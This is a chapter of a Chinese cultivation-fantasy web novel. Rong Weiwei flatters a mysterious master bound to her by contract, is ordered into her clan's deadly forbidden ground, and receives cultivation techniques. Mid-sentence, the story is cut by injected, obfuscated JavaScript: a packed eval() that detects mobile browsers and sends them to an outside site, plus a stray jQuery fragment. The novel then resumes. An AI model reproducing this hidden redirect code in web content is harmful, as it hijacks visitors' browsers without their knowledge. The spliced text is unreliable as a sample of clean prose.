有了这一插曲,先祖祭草草但又反响盛大的结束了。
容惟惟与被青烟指引选中的人,留在了主支内院,不过并不住在一个方向,容惟惟住的院落,明显要优于那群人。
她所住之处,位于内院深处,灵脉主干之上,金丹及以上长老才能居住的地方。
这样的地方,容家有不少,到底容家祖上出过渡劫。
只是随着高阶修士的陨落,这些院落被一一封存。
院落之内,早有侍女等在那里,瞧见容惟惟,拥着她进了内院,递丹药的递丹药,上茶的上茶,熏香早已点起,青色的淡烟袅袅。
吃个丹药,喝过茶,嗅着凝神静心的香,容惟惟只觉浑身沉疴尽去,原来丹是回春丹,茶是凝神茶,香是静心香,俱是针对她此时的身体状况。
待容惟惟放松片刻,又有侍女上前,称已经放好了药浴,请容惟惟去隔壁洗浴池,洗去沉疴。
药浴亦有养筋脉、宁心神的效果,旁边置物台上,摆放着早已准备好的法袍睡衣,漂浮水面的雕花盘上,亦有一壶能蕴养筋骨、祛除杂质的花蜜,旁边还堆着一些色香味效俱全的糕点。
到底族长身居高位,掌控容家多年,想要讨好一个人时,处处都能细致。
容惟惟将容族长送过来的糖衣炮弹美美地享受一番,当然,她强硬拒绝了侍女想要贴身服务的好意。
及至躺在床上,她依旧忍不住感慨,堕..落.,太堕..落.了,容族长周到得,让她都快忘了对他的厌恶。
感慨完,容惟惟在心内默念,“主人,快拉我进去。”
黑衣男子有求必应,下一秒容惟惟便进了自己的识海。
识海灰蒙蒙的,像一间没有窗户的小小房子,逼仄、昏暗。
在这昏暗中,黑衣男子是唯一的颜色——没办法,他身后宝座上,那些宝石太闪耀了。
容惟惟脚步轻快地走近黑衣男子,黑衣男子制止,“你就站那说话。”
容惟惟不太高兴,“主人,我都是你仆人了,难道还不能站你身边说话?”
“不能。”黑衣男子铁石心肠。
容惟惟眼珠子转了转,仰着头可怜兮兮地道:“那主人,我跪坐在你身边说话,可以吗?”
黑衣男人垂眸望向容惟惟,这种俯视,让容惟惟有种他在睥睨着她的感觉。
容惟惟微微兴奋。
黑衣男子越是尊贵高傲,越想让她将他从王座之上,拉下来。
黑衣男子盯着容惟惟,还是琢磨不透。
被签订主仆契约,她为什么这么柔顺?
她为什么不仅不觉得不甘心,反而十分开心?
她为什么这么汲汲营营地想要亲近他?
道侣契约虽不似主仆契约那般,对方起了杀意会立即反噬,但对方若对他有不利之心,他这边也会有所感应。
顺着契约,他能确定,容惟惟对他是真的毫无恶意,且对他抱有十分善意。
至于偶尔闪过的奇怪的感觉,因为没有恶意,被他忽略了。
想不通,就不想了。
黑衣男子无谓地点点头,“好。”
容惟惟高兴地跪在王座边,夹着嗓子,撒娇似的告状,“主人,容家人太可恶了,都欺负我,我好害怕。”
黑衣男子想起她在祭台上左一巴掌右一巴掌,狐假虎威嚣张跋扈的小模样,哪有害怕的样子?
他淡淡地笑,“不是你欺负他们吗?”
容惟惟泪眼汪汪地仰着小脸,可怜兮兮地开口——她看过镜子了,这张脸还是她那张原生脸,她知道自己哪个角度最惹人怜爱,“我的害怕藏在心里,他们那么凶残,我哪敢表现出来?我是想着主人在我身后撑腰,我才敢壮着胆子打人。”
“别看我在祭台上抽人威风,其实我心底虚得很,我很害怕,需要主人安慰一下。”
不出意外,拒绝了。
容惟惟捂脸假哭,“我是地里小白菜呀,没人喜欢没人爱。”
黑衣男子斜视。
小姑娘本来凌乱的发髻此时全放了下来,似青瀑般逶迤至地,她侧对着他,脸被手背与青丝遮住,瞧不清神色,只能瞧见一节皓腕,以及单薄的肩与身。
她的肩膀一耸一耸的,好似在哭。
黑衣男子瞧了片刻,抬手在她头上胡乱揉了揉,“又不是什么大事,有什么好哭的。”
黑衣男子如揉幼兽毛般,毫无章法,容惟惟头顶本来梳笼齐顺的头发瞬间似过了电,蓬乱上炸。
黑衣男子有些心虚地收回手。
容惟惟毫无所觉,惊喜抬头,感动哽咽,“主人,你太好了,我想抱抱你。”
黑衣男子笑望着她,“不,你不想。”
容惟惟歪头,“啊,是,我不想,那我想抱抱主人的衣袖。”
黑衣男子将甩落在扶手外的衣袖笼回王座内,道:“不,你还是不想。”
“那主人,我能捏捏你的裙角吗?”容惟惟指指他垂落在连体踏上的玄色裙尾。
事可再一再二不可再三,男子不好拒绝,默认。
容惟惟歪着身子靠在王座鼓腿膨牙和束腰上,右手指尖搭着玄袍裙摆一角,倒也规矩。
黑衣男子望着与他的右腿相靠极近的容惟惟,嘴唇动了动,忍住了。
只是将自己的右腿往左收了收,离容惟惟远一些。
“还未问过主人名讳呢,我该如何称呼您?”容惟惟盯着皂靴上的星陨石,琢磨着能不能打造一柄宝剑。
全星陨石宝剑,会不会太浪费?
靴子上这么点,够用吗?
要是加上这日曜石、月曜石……呢?
容惟惟视线移向王座弯腿上镶嵌的宝石。
黑衣男子右手手肘肘着扶手,手撑着侧脸,似笑非笑道,“就叫我主人。”
容惟惟声音又甜了几分,“好的呢,主人。”
等我上位了,第一件事,就是让你喊我一百句主人。
“主人救我性命,对我恩重如山,想让我做什么呢?不管要我做什么,我上刀山下火海,必义不容辞。”
黑衣男子瞧向容惟惟。
只瞧见容惟惟那蓬乱的发顶。
他陷入沉默。
这小仆人,真这么纯良?
上一个对他这么纯良的人,还是她老祖宗,容鹤丞。
最后,也是这个纯良的容鹤丞,将他骗进了陷阱,害他肉..身.四分五裂,神魂被镇压多年。
他扬起个轻且浅的笑,声音和煦若春风,“进容家禁地,取七彩琉璃心,这是你的第一个任务。”
容惟惟笑应,“好,明日一早,我就去禁地。”
“在禁地,我不会出手。”黑衣男子笑着提醒。
容惟惟:“……”
容家禁地全是怨气,浓郁的怨气又滋生怨兽。
被怨兽抓伤一下,怨兽爪上的怨毒,以及空中的怨气,会顺着伤口侵染身体乃至神魂,最后不是走火入魔,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995049|178137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是被怨气折磨而死;便算运气好没碰上怨兽,在里边待久了,怨气也会慢慢侵染神魂,打出同样的死亡结局。
原主在容家祠堂上学时,长老就特意提过禁地的可怕,容家曾有一化神大能,以为禁地藏着什么宝物,仗着自己修为强横进入,没出几天就陨落了。
容家屹立至今数千年,从未有进入禁地而活着出来的人。
好歹毒的男人,这是要她死。
她左手捧着心口,眉头微微皱起,仰头泪汪汪地望着黑衣男子,“我很伤心,怎生我的修为就这般低,竟不能第一时间为主人取回七彩琉璃心。”
“还请主人赐下功法,修炼资源,待我修为高深,必为主人完成任务。”
黑衣男子点头。
这个味对了。
他就说,怎么有那么纯良的人。
他轻轻一笑,“你知道么,待你筑基,你体内神兽血脉会暴动,你若不想炸成血花,就得在筑基前进入禁地,服用生于七彩琉璃心之下生长的奇霞火草。”
“我身体竟存在这般隐患?多谢主人提醒。”容惟惟感激地开口,又好奇地问,“奇霞火草的作用是?”
男子轻轻一笑,声如碎玉,“炼体。”
还以为是安抚血脉呢。
容惟惟眼珠子转动。
她若勤于锻体呢?
男子补充道:“世间炼体功法以及炼体之药,于咱们神兽而言,治标不治本。”
虽然也有其他圣药能破此局,但那些圣药,以容惟惟的实力莫说得到,便是得到消息,都难。
倒是奇霞火草,近在眼前。
容惟惟磨牙。
人不会为了旁人利益赴汤蹈火,但会为了自己利益拼尽全力。
这是逼她不得不入局啊。
阳谋,赤果果的阳谋。
她倒没想过黑衣男子会骗她,毕竟是真是假,很轻易就能验证,没必要说谎。
“主人便算不提此事,我也会时时将主人的任务放在心上,主人实不必如此。”容惟惟又嘴甜了一把。
黑衣男子轻笑一声,不置可否。
他抬手,指尖点上容惟惟额心,“这是《真武圣经》,以后,你主修这个吧。”
功法分人、黄、玄、地、天、圣、仙、神八等,在人界,最顶尖的功法为圣级,可修炼至渡劫,直指飞升。
顾名思义,黑衣男子一出手就是一部顶尖圣级功法。
还是最适合容惟惟的单水属性功法。
容惟惟压下心底兴奋,一连串表忠心表感激的话脱口而出。
黑衣男子听得开心,又赐下一部功法,“这是炼体功法《不动明净诀》,好生练习,服用奇霞火草时,不会那么难受。”
没有获得传承,连区区圣阶功法都当成宝。
真真可怜。
容惟惟又是一阵彩虹屁。
黑衣男子听得满足又腻味,正欲挥手,让容惟惟回去努力,就见容惟惟正扶着他王座起身。
睡衣宽松,容惟惟身子又是往他这边倾斜,男子轻易瞧见一根碧色细带,牵引着一抹碧翠。
意识到那抹碧翠是什么,黑衣男子不甚自在地避开视线。
不成样子,下次再让她进识海,必选个好时机。
忽而,腿间一重,多了一抹温热柔软,敏感的地方,也若有若无地摩擦了下。
黑衣男子惊愕回头,却是容惟惟侧跌伏在他身上,想也不想地,将容惟惟神魂丢出识海。